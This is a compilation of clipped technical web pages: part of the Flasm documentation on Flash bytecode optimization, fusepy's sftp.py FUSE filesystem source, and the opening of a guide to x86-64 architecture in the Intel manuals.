current diversity of possible environments. Now we have Flash Player 8, 7, 6,
5 and \(still\) 4 out there, stand-alone applications, mobile devices, not to
mention Windows, Mac and Linux. These all are entirely different species. It
means only some general strategies still work everywhere, and you have to
measure your particular application on your target environment yourself. But
how?

Optimize and test for your target environment. Tests in Flash IDE are very
rough estimates at best.

You should differentiate between ActionScript code in FLA and compiled code in
SWF. For example, if “`Omit Trace Actions`” is checked during publishing,
traces simply do not make it into SWF. They do not exist there. The same goes
for commented code. `#include`d files are in effect exactly the same as
inlined code, since they are first included, then compiled — nothing to test
here, too. There are no classes in SWF — just functions. Flash compiler
optimizes library function calls with constant arguments too. Calls like`f =
Math.sin(0.25)` or `f = Math.max(3,5)` are never saved in SWF, the calculated
values go here. Neither will `if` parts with condition that always evaluates
to `false` be stored. Some local variables are stored in registers by the
compiler, which makes a huge difference. And so on. Before you test, take a
look at disassembly.

Compiled bytecodes for Flash Player 7 are, err, context-dependant. Code inside
of function2 benefits from local registers. The same code in a frame will not.

In a standard procedural programming language, most of the program time is
spent in loops and functions or methods called from those loops. In Flash,
frame loops and often or parallel called events should be investigated too.

Ben Schleimer's Flasm Profiler \(or is it Flash Profiler?\) and David Chang's
ASProf are attempts to solve the main problem — what to optimize. I don't know
how good they work, because I've not used them in a real-world project yet —
they are relatively new. The profiler basically tells you execution times and
number of calls for every function.

After you've found what's critical, find better algorithm first, or change
your approach in general. Although you could improve the code in small,
optimization should be the last resort.

Do all tests in a defined computer state — fresh booted, no virus scans or
internet connection in background, all other programs closed. Don't move or
resize widows during the test, don't do anything. Don't move your mouse, and
let your mouse stay over flash movie. It  _does_ make a huge difference.
That's not voodoo — OS manages your mouse, and Flash isn't the only running
process.

Think about graphics. A script is never interrupted, so it's relatively easy
to measure. If, however, you start to measure in the first frame, and end in
tenth, you measure everything in between and simply don't know what you
measure. The result largely depends on player's mood and takes generally much
longer, making your ActionScript test irrelevant. Network requests,
`gotoAndPlay` actions and many other things related to screen refresh are
executed asynchronously. Get them out of measured code parts.

Beware of loop overhead. Short test times are not reliable, since the loop
itself takes most of the time. Calculate time for an empty loop, function,
etc. and subtract it from your results. Use big loops, so that remaining times
are bigger then, say, 1000 ms. Computers aren't that exact in ms. Generally,
try to isolate the code in question from anything else and measure that code
only. Of course, try to get other factors out of consideration first — network
bandwidth, graphics etc. Otherwise you results can't be compared because of
hidden overhead.

Mac Flash Player is slow compared to PC. Test on Macs early.

Don't execute different tests together. If you try to compare optimization 1
with optimization 2, give them the same environment. One run — one test. If
you put both tests in the same frame, you start to deal with caching.

**ActionScript optimizations**

Flash Player 7 and 8 are much faster with ActionScript. Because of player
improvements, and because of compiler improvements in Flash MX 2004/Flash 8.
The latter are only noticeable if you compile for Flash Player 6 or higher
though. If that's your target audience, you mostly can do now without Flasm
optimizations, because the compiler will use registers anyway. You will still
be able to achieve better performance with Flasm, but your first step should
be getting Flash 8 IDE for critical applications.

I used to elaborate on so called “deprecated Flash 4 actions” here, which are
much faster in Flash Player 5 or 6. The worst example: `myMC.gotoAndStop()`
was  _25 times_ slower than `tellTarget("myMC") gotoAndStop()`. In Flash
Player 7 they finally don't seem to make a real difference. To insist on
recommending them, I would have to re-do the whole testing, including mobile
devices, so to hell with them.

Action blocks are always executed from the start to the end, no event or
`gotoAndPlay()` will interrupt execution of other code. That's the reason why
any large `for` loop will hang the player, no screen updates are made.

Define local variables in functions with `var` keyword. Local variables are
faster, generally a good practice, and may be replaced with registers
automatically, if compiled with Flash MX 2004/Flash 8.

`eval` is something special compared to, say, `this` or any other ActionScript
keyword. In fact, `eval` is kind of macro — it doesn't have a bytecode, but
simply writes its argument onto the stack — at compile time. No doubt it's
faster than any method call. Starting with Flash MX, you're no longer allowed
to use `eval` on the left side of assignment. Use`set` instead.

Unfortunately, identifier length still matters, even in Flash 8, so choose
short names for variables. This can be extended to built-in functions too.
Creating the function`t = Math.tan` and substituting all `Math.tan`
occurrences with `t` will serve 2 purposes: no additional lookup is made for
object `Math`, then for method `tan`; and the name itself is shorter. It works
only for Flash 5+ methods and functions; Flash 4 functions will slow down. Of
course, names of local variables don't matter if they are stored in registers.

The old trick with replacing `b = a*4` to `b = a«2` \(shift\) makes no speed
difference in ActionScript.

Flash tries to precalculate constant parts of your expressions. The
calculation order results from operator precedence. As Robert Penner noticed,
`rad = Math.PI/180` will actually store calculated value in SWF, while `rad =
c*Math.PI/180` will not. Conclusion: explicitly set the precedence to enable
precalculation\(`rad = c*(Math.PI/180)` in this case\).

`for` and `while` loops show no speed difference. It depends on how you write
them. The most optimized ActionScript examples of both, looping down to `0`,
produce the same bytecode: `for(var i = 10; i--;) {}` and `i = 10; while (i--)
{}` The third part of the `for` loop, absent in my example, is actually in the
body of loop, so you can't compare it with a normal `while`.

Avoid multiple parallel `hitTest()` functions in events — often seen in games.
If the player is killed after any touch with an enemy, and you have 100
duplicated enemy clips, don't include any code in the enemy clip `enterFrame`
event. Create the new movie clip and insert the enemy clip here. Then
duplicate inside of this parent clip. Now you can check with only one
`hitTest()` if the collision takes place. If you need to, use some custom math
then to calculate what enemy was hit. Since most of the time no collision
occurs, you'll make a really big improvement in fps.

I mostly do not say  _“3.45 times slower”_ , because comparisons are very
context dependant, exact values will vary. My  _“slower”_ just means
_“noticeably slower, no situation ever makes it faster”_.

The list is by no means complete, and will never be. Technology may render
some points incorrect, again. Please make your own tests.

**Flasm optimizations**

After you're done in ActionScript, and the code is still slow, you can start
to optimize with Flasm. Basically only two meaningful low-level features are
not accessible from ActionScript and therefore subject of Flasm work: stack
and registers.

Let's optimize a simple loop using stack. Our ActionScript is

`for (var n=0; n<1000; n++) {  
someFunction(n);  
}`

Flash compiles this loop to the following bytecodes:

`constants 'n', 'someFunction'  
push 'n', 0.0  
varEquals  
label1:  
push 'n'  
getVariable  
push 1000  
lessThan  
not  
branchIfTrue label2  
  
push 'n'  
getVariable  
push 1, 'someFunction'  
callFunction  
pop  
  
push 'n', 'n'  
getVariable  
increment  
setVariable  
branch label1  
label2:`| `// Store all variables in constant pool  
// Push the string 'n' and starting 0 onto the stack  
// Initialize loop counter: n = 0  
// Start of the loop  
  
// Get the value of 'n' again  
// Push loop bound  
// Evaluate boolean condition: “n < 1000?”  
// Invert: now “n >= 1000?”  
// If “true” is on stack, go to the end of the loop  
  
// Loop body  
// Get the value of 'n' again  
// Push the number of args (1) and function name  
// function call is made with n as argument  
// Pop the possible function result away — it's unused  
  
// Push 'n' two times  
// Evaluate 'n' again  
// n+1 on stack now  
// n = n+1  
// jump to the loop start — unconditional  
// end of the loop — addressed with branchIfTrue above`  
---|---  
What we immediately see, the `n` variable is evaluated many times here.
`getVariable` action is slow compared to stack operations, and the `n` is only
used as local counter. Why not discard `n`, keep the counter on stack and use
it over and over, thus eliminating all `getVariable` calls? We also don't need
the constant pool declaration, since `n` will disappear, and `someFunction`
name will be only used once. The number of jumps can be reduces to one, too.
We know we have to call `someFunction(0)`, so there is no need to check for
the condition on the top of the loop. Look at optimized version:

`push 0  
loopStart:  
dup  
  
push 1, 'someFunction'  
callFunction  
pop  
  
increment  
dup  
push 1000  
lessThan  
branchIfTrue loopStart  
pop`| `// No need for double 0.0, integer 0 will do it  
// Choosing meaningful name  
// dup the counter — our function will eat it up  
  
// Push the number of args (1) and function name  
// function call is made with n as argument  
// Pop the possible function result away — it's unused  
// Now the counter is on top of the stack again  
// Increment it  
// Dup the counter — condition evaluation will eat it up  
// Push loop bound  
// Condition evaluation: counter < 1000?  
// Jump to the loop start, counter is on top  
// Should remove counter from stack after the loop`  
---|---  
We can go even further. If our function, say, fills an array with some
calculated values, it makes no difference to do it from `0` to `999` or from
`999` “down to” `0`. We can eliminate`lessThan` action in this case, because
`branchIfTrue` is kind enough to convert `0` to false, and all other numbers
to true for us.

`push 1000  
loopStart:  
decrement  
dup  
push 1, 'someFunction'  
callFunction  
pop  
dup  
branchIfTrue loopStart  
pop`  
---  
We moved `decrement` to the top of the loop, because otherwise `branchIfTrue`
would immediately exit loop if the counter value is `0` and not let us execute
`someFunction(0)`.

As you see, we end with a pretty clear loop version, which will be much faster
than the original Flash. How much, depends on what `someFunction()` does. As
the next step you would go there and optimize it.

The best way to learn how to use registers is to compile the same code in
Flash MX 2004 for Flash 5, Flash 6, Flash 7, and look at the disassembly.
Flash 5 version will use `r:0`only, Flash 6 will utilize all four global
registers, and Flash 7/8 will add local `function2` registers.

Now if your target is Flash 5, you'll see from Flash 6' code what can be done.
For higher targets, the room for further optimization is smaller. But there
are still many places where the code could be improved — basically by
eliminating useless `pop`s, `push`es and `branch`es.

`push` statements may push multiple values, not just one. Try to merge single
`push`es into one. That's way faster. You'll have to slightly re-arrange the
code to do that.

Registers are faster than variables, but still slower than stack. Why not keep
all the values on stack so they go to the top just in the moment you need
them? The problem is, if you're doing this with 2 or more variables, your
algorithm may want to access them in a different order than they're stored. If
some value is only required, say, at the start and at the end of your routine
— no problem, it happily lives somewhere at the bottom, waiting for its time
coming, and lets you work with other values on top. But for often needed
values it doesn't work. While we have `swap` action to exchange two top values
on stack, we can't directly access the third. Even if you find some
illusionistic approach to access many variables, you'll just slow the
execution with big amounts of `swap` commands.

**Double nots**

In certain cases Flash writes double `not`s in your code. Consider
ActionScript code `if (a<=b) { ... } else { ... }` Two inversions are created
here by Flash compiler:

`push 'b'  
getVariable  
push 'a'  
getVariable  
lessThan` // a>b?  
`not` // now inverted: a<=b?  
`not` // prepare for branch to the else condition: again a>b?  
`branchIfTrue elseCondition  
`

As you see, Flash is not very flexible compiling your statements and does not
change the order of operands in expression or use another pattern for `if`
statement. It doesn't really make sense. The only  _purpose_ here could be an
attempt to force type conversion to boolean. The next action you always see in
the code, however, is `branchIfTrue`. And this action does type conversion
itself.  
So Flasm will automatically remove those `not`s in update mode.

**Thanks**

My very special thanks go to the people on flashcoders list, whose ideas
helped me to the better understanding of optimization and flowed into above
examples:

Rasheed Abdal-Aziz, Ralf Bokelberg, Robin Debreuil, Zeh Fernando, Gary Fixler,
Branden Hall, Dave Hayden, Damien Morton, Amos Olson, Robert Penner, Casper
Schuirink.

### \_\_bytecode\_\_

`__bytecode__` function, first mentioned \(1\. post, 2\. post\) by Robin
Debreuil is a way to inject bytecodes directly into swf without using Flasm
\(compare embedding\). It takes a string filled with hexadecimal numbers as
parameter. Since `__bytecode__` is evaluated at compile time, it is not
possible to give it a variable parameter. While it's convenient to not rely on
Flasm updating the swf, `__bytecode__` also offers an excellent way to shoot
yourself in the foot. No checks are made by compiler here. You better make
sure values are correct. Well, using Flasm in `-b` mode to produce
`__bytecode__` parameter \(or any other tool\) at least guarantees proper
instruction layout. Some caveats remain though.

`__bytecode__` is a function and as such returns a value. So single `pop`
action is added by Flash IDE if the result is unused. You may also assign the
return value to variable, then it will be something else than `pop`. Normally,
an extra `pop` is harmless.

There are possible complications here with constant pools. Defining your own
inside of `__bytecode__` will disable the pool automatically produced by
compiler. Not defining makes the swf bigger. Define your own pool when needed
and let `__bytecode__` reside in a place where there is no other ActionScript
— don't mix.

### File size difference

After assembling Flasm source or updating SWF with Flasm you'll often see your
SWF having few less bytes even if you haven't changed anything in the
bytecode. Besides of trivial optimizations Flasm does in update mode, there is
one more reason for it. Flash may save block lengthes in the SWF as 2 or 6
byte records. 6 bytes are only needed if the block is larger than 62 bytes.
Flash, however, often uses 6 bytes where 2 bytes will do. Although Flasm does
this too in certain cases, most blocks are optimized during assembling. So I
get 400 less bytes on the file of 90kB length without optimizing anything. I
don't know of any disadvantages, enjoy this unexpected Flasm bonus. Side note:
ironically, there are places where long lengthes are required because of Flash
player bugs, but Flasm is aware of this and will let them untouched.

### Huge scripts

While it's good practice to keep scripts smaller than 64k \(compiled\) per
frame, it's possible to get larger. But the sole action record — `constants,
push, function` and other is limited to 64k because of 2 bytes length field
size.

Since Flash attempts to create the constant pool for all variables and
methods, and never creates multiple constant pools, what does it do in such
cases? Flash 5 compiler would silently write an overflowed value to the length
field without errors or warnings. Later Flash versions are smarter: they would
put so many strings as possible into constant pool, other strings just remain
in place. Flash MX 2004 will even warn you about classes being too big.
However, the compiler doesn't check other places where overflow may occur.
Function length \(ActionScript 1\), for example, isn't verified and will be
broken for very big functions.

If you try to execute this kind of SWF, Flash player crashes or actions are
omitted. Disassembly will be incomplete and/or wrong. In most cases, Flasm
will show an error message.

### Quirks, bugs and crashes

Flasm may not be able to disassemble protected SWFs. The protection is usually
achieved by inserting some kind of junk into SWF. Generally, such SWFs work in
Flash Player, but break the SWF file format spec. Flasm, however, aims to
support the spec, not to mimic essentially undefined behavior of some
particular Flash Player version. What's my point here? Don't ask me to
disassemble something you've downloaded somewhere. Neither will I tune Flasm
to overcome any protections. They are not even interesting, and easy to fix
with a hex editor.

Windows version of Flasm can't open unicode file names. It seems to be a
Cygwin limitation.

When saving flm files in Windows Notepad/Editor, choose ANSI as encoding. In
UTF-8 mode Notepad inserts so called byte order mark \(BOM\) at the start of
the file, which irritates Flasm \(and many other programs\). If you work with
UTF-8, please choose another editor, most of them don't add the BOM.

You can't compile something like `function 0123ä()` in Flash because of parser
limitations, the SWF format doesn't impose any restrictions on function names.
Since Flasm deals with SWF directly, it should support such names, too. When
assembling an SWF, you have to manually place quotes around problematic
function names. Note: some of these \(unicode names, for example, or Flasm
keywords\) are perfectly ok with Flash IDE, but interfere with Flasm parser.

An edge case: nested `tellTargets` don't work if one of them is inside of a
function.

Don't know of any other bugs at the moment. If you find a nontrivial bug, fell
free to send me your file. Please try to produce a minimal sample where the
bug still occurs. The relevant part of source code or FLA is also welcome.

To make it clear: provided the SWF is valid, it  _must_ run properly after
disassembling and assembling back without changes. The update mode  _must_
work too. There are absolutely no voodoo behaviors or unsupported features in
Flasm. If you encounter problems, there must be a serious bug in my
implementation and your report is highly appreciated.

### History

Dave Hayden released Flasm in cooperation with Damien Morton in April 2001.
The first version was able to disassemble the main timeline of the SWF and
assemble to the first frame only. Flasm was quite useful already. I was very
excited to discover Flasm back then, and soon started to play with source
code. I've expanded Flasm's functionality and fixed some bugs. Dave then
started the project on sourceforge.net. From 2002 until now I'm the only
person developing and maintaining Flasm. Recently, Wang Zhen from Genable Labs
has greatly contributed to Flasm 1.6.

### Project state

After five years of development Flasm is stable enough to be used in real-life
projects and to my best knowledge fully supports all quirks of SWF format. I'm
happy that during these time Flasm's source code has helped to develop some
third-party software. My special thanks go to all the people who reported
problems and suggested improvements. Now I'm busy with other projects and will
not be able to implement exciting new features. Please send me your bug
reports though, bug fixes will continue to happen.

It's unlikely I'll ever add support for Flash 9. As you may know, Flash Player
9 contains the new virtual machine, which is nothing like the old one. I see
it as a natural end of Flasm's life cycle — supporting that would in fact mean
writing another Flasm from scratch.

### Resources

This page can always be found at http://www.nowrap.de/flasm.html. The mirror
at flasm.sourceforge.net is updated from time to time.

The source is available here or may be downloaded from SourceForge's CVS.
Project page is http://sourceforge.net/projects/flasm.

Take a look at my another project: Flare, the free ActionScript decompiler.

On the original Flasm page resides the first version and the useful
explanation of Flash 5 bytecodes by Dave.

Compare tree animations made by Amos Olson: standard ActionScript version and
the optimized one.

Look at path finding swf made with Flasm by Casper Schuirink. Here is the
source.

MTASC, an open source ActionScript II compiler.

ActionScript problems are discussed on the highly frequented flashcoders
mailing list, maintained by Branden Hall.

Alexis' SWF Reference

Macromedia's SWF File Format description

At the prototype site you'll find some Flash functions redefined for speed or
flexibility, and also many new and useful ones. Often it's better to start
Flasm optimizing from one of them.

Extendflash mailing list deals mostly with JSAPI, which allows customizing
Flash MX 2004 and Flash 8 IDEs. Some posts about SWF internals.

KineticFusion by Kinesis Software converts your complete SWF to XML and back.
Pricey.

Ben Schleimer's Flasm Profiler shows you what to optimize in the first place.

Pavils Jurjans has written the little debugger for Flasm, useful while
embedding Flasm code in ActionScript. The debugger shows stack and register
contents.

Jon Bott's has written an obfuscator, based on Flasm.

For people who don't like to work with command line, and don't like to
register Flasm as SWF handler in Windows Explorer either, there is a WinFlasm
by Sharriff Aina,simple Windows interface to Flasm.

Albert Chosky has created Flasm 1.32 syntax files for EditPlus.

The older Flasm syntax file for UltraEdit, submitted by anonymous Russian
flasmer.

### Terms of use

Copyright © 2001 Opaque Industries, © 2002-2007 Igor Kogan, © 2005 Wang Zhen  
All rights reserved.

Flasm is completely free. It's provided “as is” and without any warranties.
Please read the license included in the distribution for details.

Macromedia and Flash are registered trademarks of Adobe Systems Inc.  
Adobe does not sponsor, affiliate, or endorse this product.

### Enjoy

**Igor Kogan**

# sftp.py - fusepy - Project Hosting on Google Code

**Created:**| _10/24/2010 6:27:27 PM_  
---|---  
**Updated:**| _10/24/2010 6:27:42 PM_  
**Author:**| __  
**Tags:**| _Unix python programming Distributed systems Filesystem_  
  
fusepy _Python bindings for FUSE with ctypes_ |   
---|---  
Project Home |  |  Issues |  |  Source |  |   
---|---|---|---|---|---|---  
Checkout | Browse | Changes |  |   
---|---  
  * ‹r56

| **r57**  
---|---  
**Source path:** svn/  trunk/ sftp.py

[code]

    
[/code]

|  
---
[code]

    
[/code]  
1  
---  
2  
3  
4  
5  
6  
7  
8  
9  
10  
11  
12  
13  
14  
15  
16  
17  
18  
19  
20  
21  
22  
23  
24  
25  
26  
27  
28  
29  
30  
31  
32  
33  
34  
35  
36  
37  
38  
39  
40  
41  
42  
43  
44  
45  
46  
47  
48  
49  
50  
51  
52  
53  
54  
55  
56  
57  
58  
59  
60  
61  
62  
63  
64  
65  
66  
67  
68  
69  
70  
71  
72  
73  
74  
75  
76  
77  
78  
79  
80  
81  
82  
83  
84  
85  
86  
87  
88  
89  
90  
91  
92  
93  
94  
95  
96  
97  
98  
99  
100  
101  
102  
103  
104  
105  
106

[code]

    
[/code]  
---
[code]

    
[/code]  
|  
---
[code]

    
[/code]  
\#\!/usr/bin/env python  
  
---  
  
  
from sys import argv, exit  
  
from time import time  
  
  
  
from paramiko import SSHClient  
  
  
  
from fuse import FUSE, Operations  
  
  
  
  
  
class SFTP\(Operations\):  
  
"""A simple SFTP filesystem. Requires paramiko:  
  
http://www.lag.net/paramiko/  
  
  
  
You need to be able to login to remote host without entering a password.  
  
"""  
  
def \_\_init\_\_\(self, host, path='.'\):  
  
self.client = SSHClient\(\)  
  
self.client.load\_system\_host\_keys\(\)  
  
self.client.connect\(host\)  
  
self.sftp = self.client.open\_sftp\(\)  
  
self.root = path  
  
  
  
def \_\_del\_\_\(self\):  
  
self.sftp.close\(\)  
  
self.client.close\(\)  
  
  
  
def \_\_call\_\_\(self, op, path, \*args\):  
  
print '->', op, path, args\[0\] if args else ''  
  
ret = '\[Unhandled Exception\]'  
  
try:  
  
ret = getattr\(self, op\)\(self.root + path, \*args\)  
  
return ret  
  
except OSError, e:  
  
ret = str\(e\)  
  
raise  
  
except IOError, e:  
  
ret = str\(e\)  
  
raise OSError\(\*e.args\)  
  
finally:  
  
print '<-', op  
  
  
  
def chmod\(self, path, mode\):  
  
return self.sftp.chmod\(path, mode\)  
  
  
  
def chown\(self, path, uid, gid\):  
  
return self.sftp.chown\(path, uid, gid\)  
  
  
  
def create\(self, path, mode\):  
  
f = self.sftp.open\(path, 'w'\)  
  
f.chmod\(mode\)  
  
f.close\(\)  
  
return 0  
  
  
  
def getattr\(self, path, fh=None\):  
  
st = self.sftp.lstat\(path\)  
  
return dict\(\(key, getattr\(st, key\)\) for key in \('st\_atime', 'st\_gid',  
  
'st\_mode', 'st\_mtime', 'st\_size', 'st\_uid'\)\)  
  
  
  
def mkdir\(self, path, mode\):  
  
return self.sftp.mkdir\(path, mode\)  
  
  
  
def read\(self, path, size, offset, fh\):  
  
f = self.sftp.open\(path\)  
  
f.seek\(offset, 0\)  
  
buf = f.read\(size\)  
  
f.close\(\)  
  
return buf  
  
  
  
def readdir\(self, path, fh\):  
  
return \['.', '..'\] + \[name.encode\('utf-8'\) for name in
self.sftp.listdir\(path\)\]  
  
  
  
def readlink\(self, path\):  
  
return self.sftp.readlink\(path\)  
  
  
  
def rename\(self, old, new\):  
  
return self.sftp.rename\(old, self.root + new\)  
  
  
  
def rmdir\(self, path\):  
  
return self.sftp.rmdir\(path\)  
  
  
  
def symlink\(self, target, source\):  
  
return self.sftp.symlink\(source, target\)  
  
  
  
def truncate\(self, path, length, fh=None\):  
  
return self.sftp.truncate\(path, length\)  
  
  
  
def unlink\(self, path\):  
  
return self.sftp.unlink\(path\)  
  
  
  
def utimens\(self, path, times=None\):  
  
return self.sftp.utime\(path, times\)  
  
  
  
def write\(self, path, data, offset, fh\):  
  
f = self.sftp.open\(path, 'r+'\)  
  
f.seek\(offset, 0\)  
  
f.write\(data\)  
  
f.close\(\)  
  
return len\(data\)  
  
  
  
  
  
if \_\_name\_\_ == "\_\_main\_\_":  
  
if len\(argv\) \!= 3:  
  
print 'usage: %s <host> <mountpoint>' % argv\[0\]  
  
exit\(1\)  
  
fuse = FUSE\(SFTP\(argv\[1\]\), argv\[2\], foreground=True, nothreads=True\)  

[code]

    
[/code]  
---  
Hide details

Change log

r57 by verigak on Aug 26, 2010 Diff

[code]

    Correctly encode the return value of
    listdir. Fixes  Issue 27 .
    
    
[/code]

Go to:  | /trunk/sftp.py  
---|---  
Older revisions

<img src='img/Temp2_10624.gif' /> r56 by verigak on Aug 26, 2010 Diff  

<img src='img/Temp2_10624.gif' /> r16 by verigak on Jun 03, 2009 Diff  

<img src='img/Temp2_10624.gif' /> r14 by verigak on Apr 07, 2009 Diff  

All revisions of this file

File info

Size: 2911 bytes, 106 lines

View raw file

File properties

svn:executable

    \*
  

# x86-64 Tour of Intel Manuals

**Created:**| _11/14/2010 4:10:52 PM_  
---|---  
**Updated:**| _11/14/2010 4:11:09 PM_  
**Author:**| __  
**Tags:**| _asm intel x64_  
  

# x86-64 Tour of Intel Manuals

**MazeGen** , 2007-10-04 | Revision: 1.0  
---|---  
I'm always surprised by how few asmers use probably the best source of
information available – official processor manuals, either Intel's or AMD's.
That's why this article was written. It should guide you step by step through
complexity of Intel manuals, describing x86-64 architecture in the process.

Majority of asmers learn from various unofficial references and information
sources. The reason could be the fact that orientation on intel.com or amd.com
websites isn't easy, and direct links are suprisingly not spread.
Additionally, these manuals are very complex and it takes time to learn using
them. In short, these manuals are not very popular, even though the unofficial
sources are often incomplete and imprecise.

This article assumes understanding of programming in 32-bit assembler in
protected mode. It is a guide to Intel manuals with some additional notes.
Intel manuals and more information can be obtained from here.

The article is written from application assembly programmer's point of view
and that's why it doesn't deal much with system programming issues.
Instruction encoding is mentioned only very briefly, too.

**Note.** At the time of writing this article, I use the latest revision of
Intel manuals, which is nr. 022 for Intel. Many information may changed if
you've got older than, say, revision 020. I recommend to use the latest ones.
\(The revision number is located on the very first page of any Intel manual as
the last three numbers of the order number.\)

## x86-64, x64

What does x86-64 mean anyway? It is an extension to original x86-32
architecture, which was born with 80386 processor. Recently, Intel started
calling this extended architecture as Intel 64 Architecture \(formerly still
known as IA-32 Intel Architecture with 64-bit extensions\). AMD used to call
it steadily as AMD64. To refer this architecture independently on the
manufacturer, the name x86-64 or x64 is used.

## Intel 64 Architecture

A recapitulation of the architecture's features can be found in chapter 2.2.7
Intel® 64 Architecture in manual Basic Architecture:

> Intel 64 architecture increases the linear address space for software to 64
> bits and supports physical address space up to 40 bits. The technology also
> introduces a new operating mode referred to as IA-32e mode.
> IA-32e mode operates in one of two sub-modes: \(1\) compatibility mode
> enables a 64-bit operating system to run most legacy 32-bit software
> unmodified, \(2\) 64-bit mode enables a 64-bit operating system to run
> applications written to access 64-bit address space.
> In the 64-bit mode, applications may access:
>   * 64-bit flat linear addressing
>   * 8 additional general-purpose registers \(GPRs\)
>   * 8 additional registers for streaming SIMD extensions \(SSE, SSE2, SSE3
> and SSSE3\)
>   * 64-bit-wide GPRs and instruction pointers
>   * uniform byte-register addressing
>   * fast interrupt-prioritization mechanism
>   * a new instruction-pointer relative-addressing mode
>

> An Intel 64 architecture processor supports existing IA-32 software because
> it is able to run all non-64-bit legacy modes supported by IA-32
> architecture. Most existing IA-32 applications also run in compatibility
> mode.
## IA-32e Mode

Intel 64 architecture runs in IA-32e mode. This mode is described in chapter
3.1.1 Intel® 64 Architecture in manual Basic Architecture. The interesting
point is 64-bit mode:

> Intel 64 architecture adds IA-32e mode. IA-32e mode has two sub-modes. These
> are:
>   * Compatibility mode \(sub-mode of IA-32e mode\) – …
>   * 64-bit mode \(sub-mode of IA-32e mode\) – This mode enables a 64-bit
> operating system to run applications written to access 64-bit linear address
> space. For brevity, the 64-bit sub-mode is referred to as 64-bit mode in
> IA-32 architecture. 64-bit mode extends the number of general purpose
> registers and SIMD extension registers from 8 to 16. General purpose
> registers are widened to 64 bits. The mode also introduces a new opcode
> prefix \(REX\) to access the register extensions. See Section 3.2.1 for a
> detailed description. 64-bit mode is enabled by the operating system on a
> code-segment basis. Its default address size is 64 bits and its default
> operand size is 32 bits. The default operand size can be overridden on an
> instruction-by-instruction basis using a REX opcode prefix in conjunction
> with an operand size override prefix. REX prefixes allow a 64-bit operand to
> be specified when operating in 64-bit mode. By using this mechanism, many
> existing instructions have been promoted to allow the use of 64-bit
> registers and 64-bit addresses.
>

The description of Compatibility Mode is ommitted on purpose, because this
mode is virtually identical to 32-bit protected mode.

**Note.** The term Long Mode is often used in connection with x64
architecture. This term initally used AMD and it is nothing else than IA-32e
mode. This term is also misused in situations when "64-bit mode" should be
used. This term share both Intel and AMD.

## 64-bit Mode

Chapter 3.2.1 64-Bit Mode Execution Environment in manual Basic Architecture
summarizes the differencies in 64-bit mode:

> The execution environment for 64-bit mode is similar to that described in
> Section 3.2. The following paragraphs describe the differences that apply.
>   * Address space – A task or program running in 64-bit mode on an IA-32
> processor can address linear address space of up to 264 bytes \(subject to
> the canonical addressing requirement described in Section 3.3.7.1\) and
> physical address space of up to 240 bytes. Software can query CPUID for the
> physical address size supported by a processor.
>   * Basic program execution registers – The number of general-purpose
> registers \(GPRs\) available is 16. GPRs are 64-bits wide and they support
> operations on byte, word, doubleword and quadword integers. Accessing byte
> registers is done uniformly to the lowest 8 bits. The instruction pointer
> register becomes 64 bits. The EFLAGS register is extended to 64 bits wide,
> and is referred to as the RFLAGS register. The upper 32 bits of RFLAGS is
> reserved. The lower 32 bits of RFLAGS is the same as EFLAGS. See Figure 3-2.
>   * XMM registers – There are 16 XMM data registers for SIMD operations. See
> Section 10.2, SSE Programming Environment, for more information about these
> registers.
>   * Stack – The stack pointer size is 64 bits. Stack size is not controlled
> by a bit in the SS descriptor \(as it is in non-64-bit modes\) nor can the
> pointer size be overridden by an instruction prefix.
>   * Control registers – Control registers expand to 64 bits. A new control
> register \(the task priority register: CR8 or TPR\) has been added. See
> Chapter 2, Intel® 64 and IA-32 Architectures, in the Intel® 64 and IA-32
> Architectures Software Developer's Manual, Volume 3A.
>   * Debug registers – Debug registers expand to 64 bits. See Chapter 18,
> Debugging and Performance Monitoring, in the Intel® 64 and IA-32
> Architectures Software Developer's Manual, Volume 3B.
>   * Descriptor table registers – The global descriptor table register
> \(GDTR\) and interrupt descriptor table register \(IDTR\) expand to 10 bytes
> so that they can hold a full 64-bit base address. The local descriptor table
> register \(LDTR\) and the task register \(TR\) also expand to hold a full
> 64-bit base address.
>

The interesting part for an assembler programmer is the change of stack
pointer size, which is fixed to 64 bits in 64-bit mode.

**Note.** In 32-bit protected mode, B \(big\) flag of stack segment descriptor
controls the default size of the stack pointer, independently of code segment
setting. It can be used, for instance, to force 16-bit stack in 32-bit mode.

## Memory Model

The memory model is described in chapter 3.3.4 Modes of Operation vs. Memory
Model in manual Basic Architecture \(synopsis\):

> Segmentation is generally \(but not completely\) disabled, creating a flat
> 64-bit linear-address space. Specifically, the processor treats the segment
> base of CS, DS, ES, and SS as zero in 64-bit mode \(this makes a linear
> address equal an effective address\). Segmented and real address modes are
> not available in 64-bit mode.
## Segment Registers

The new memory model relates to different interpretation of segment registers.
This relation is described in detail in chapter 3.4.2.1 Segment Registers in
64-Bit Mode in manual Basic Architecture:

> In 64-bit mode: CS, DS, ES, SS are treated as if each segment base is 0,
> regardless of the value of the associated segment descriptor base. This
> creates a flat address space for code, data, and stack. FS and GS are
> exceptions. Both segment registers may be used as additional base registers
> in linear address calculations \(in the addressing of local data and certain
> operating system data structures\).
> Even though segmentation is generally disabled, segment register loads may
> cause the processor to perform segment access assists. During these
> activities, enabled processors will still perform most of the legacy checks
> on loaded values \(even if the checks are not applicable in 64-bit mode\).
> Such checks are needed because a segment register loaded in 64-bit mode may
> be used by an application running in compatibility mode.
> Limit checks for CS, DS, ES, SS, FS, and GS are disabled in 64-bit mode.
## Default Operand and Address Size

Another important change is new rules for default operand and address size,
much simpler in comparison with 32-bit protected mode.

**Note.** In 32-bit protected mode, the D \(default size\) flag of code
segment descriptor controls the default operand and address size, thus there
can be more code segments with various operand and address sizes at a time.

These rules are described in section 3.6.1 Operand Size and Address Size in
64-Bit Mode in manual Basic Architecture \(synopsis\):

> In 64-bit mode, the default address size is 64 bits and the default operand
> size is 32 bits. Defaults can be overridden using prefixes. Address-size and
> operand-size prefixes allow mixing of 32/64-bit data and 32/64-bit addresses
> on an instruction-by-instruction basis. Table 3-4 shows valid combinations
> of the 66H instruction prefix and the REX.W prefix that may be used to
> specify operand-size overrides in 64-bit mode. Note that 16-bit addresses
> are not supported in 64-bit mode.
> REX prefixes consist of 4-bit fields that form 16 different values. The
> W-bit field in the REX prefixes is referred to as REX.W. If the REX.W field
> is properly set, the prefix specifies an operand size override to 64 bits.
> Note that software can still use the operand-size 66H prefix to toggle to a
> 16-bit operand size. However, setting REX.W takes precedence over the
> operand-size prefix \(66H\) when both are used.
> In the case of SSE/SSE2/SSE3/SSSE3 SIMD instructions: the 66H, F2H, and F3H
> prefixes are mandatory for opcode extensions. In such a case, there is no
> interaction between a valid REX.W prefix and a 66H opcode extension prefix.
